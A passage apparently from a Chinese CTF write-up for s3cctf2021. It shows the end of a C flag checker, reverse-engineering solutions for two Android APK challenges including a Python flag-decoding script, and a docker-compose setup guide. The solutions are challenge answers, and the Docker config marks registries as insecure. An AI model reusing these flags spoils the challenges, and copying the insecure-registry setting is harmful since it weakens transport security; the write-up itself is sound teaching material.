unsigned int len_r, i;
int state;

printf("Input your flag:");
scanf("%256s", in);

memset(u_input, 0, 0x100u);
strcpy(r_input, "abcdefghij");
strcpy(u_input, in);//for test

len_r = strlen(r_input);
state = enc1(u_input, r_input, len_r);

if (state == 0) {
state = enc2(u_input, r_input, len_r);
}

/*
printf("[");
for (i=0;i<strlen(u_input);i++) {
printf("%d", *(u_input+i));
if (i != strlen(u_input)-1) {
printf(", ");
}
}
printf("]\n%ld", strlen(u_input));*/

printf("\n");
if (check_flag(u_input, enc_flag) == 0) {
printf("Flag checked, it's OK!");
} else {
printf("Flag checked fail, it's Wrong!");
}
printf("\n");

return 0;
}

简单apk

附件:

/static/post/s3cctf2021/ext/app-release.apk

反编译后打开com.example.myapplication/MainActivity即可看到flag

反编译软件可以用jadx-gui

图片29

APK1

附件:

/static/post/s3cctf2021/ext/app-release1.apk

反编译后打开com.example.myapplication/MainActivity,

可以看到程序获取了用户输入后将值传入到了re_me()

图片30

同时可以发现有个奇怪的类叫re_me

图片31

打开研究一下就能写出逆向程序

图片32

解题程序

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
test = [14,114,95,36,86,62,67,246,214,20,44,54,
47,48,62,65,66,41,9,221,192,8,44,8,4,62,51,51,45,
220,103,0]



for i in range(30, -1, -1):
test[i] ^= 56
test[i] ^= test[i+1]


for j in range(30, -1, -1):
test[j] -= test[j+1]


for i in range(0, 31):
test[i] += i

flag = ''

for i in test:
flag += chr(i%256)


print(flag)

input()

dockers-compose编译镜像

此部分将引导docker-compose的简单使用

安装docker组件

先确定docker-compose是否已经安装

(一般windows上的docker软件会把docker-compose一同安装)

(在Centos上,docker-compose可能需要单独安装)

1
docker-compose --version

Ubuntu可直接安装

1
sudo apt install docker-compose

解压与释放

若已安装,则对在本文下载的文件进行解压

确定终端处于下载的.tar.gz文件所处的目录

360截图18080916194548

对.tar.gz文件进行释放操作

360截图17001014100103118

命令类似如下

1
tar -xvzf 文件名

进入释放后的目录

1
ls

360截图17950506314340

1
cd 目录名

360截图178606019092119

修改配置(若无需修改,跳过此步)

终端界面可以使用nano、vim等,图形界面直接右键文本编辑

推荐使用nano

1
nano 文件名

360截图16720406104110123

箭头所指处为映射IP,8089改成你想修改的端口即可

360截图16850815627996

修改完成使用ctrl+x退出

输入yes即可保存

360截图1872012094121108

编译镜像

确定已经在释放的目录

360截图16240127115116124

1
sudo docker-compose build

如果卡在此步可进行换源

360截图17670913716586

360截图17001013506229

换源

1
nano /etc/docker/daemon.json

输入

1
2
3
4
5
6
7
8
9
10
11
{
"registry-mirrors":[
"http://docker.mirrors.ustc.edu.cn",
"http://hub-mirror.c.163.com",
"http://registry.docker-cn.com"
] ,
"insecure-registries":[
"docker.mirrors.ustc.edu.cn",
"registry.docker-cn.com"
]
}

360截图1796032310211991

重启docker

1
service docker restart

继续编译

360截图17390219245253

启动容器

1
sudo docker-compsoe up -d

360截图16720331377374

正常运行

1
sudo docker ps

360截图18040403749386

删除容器

1
sudo docker-compsoe down

360截图17001015516393

尾声

谢谢你看到这里

EOF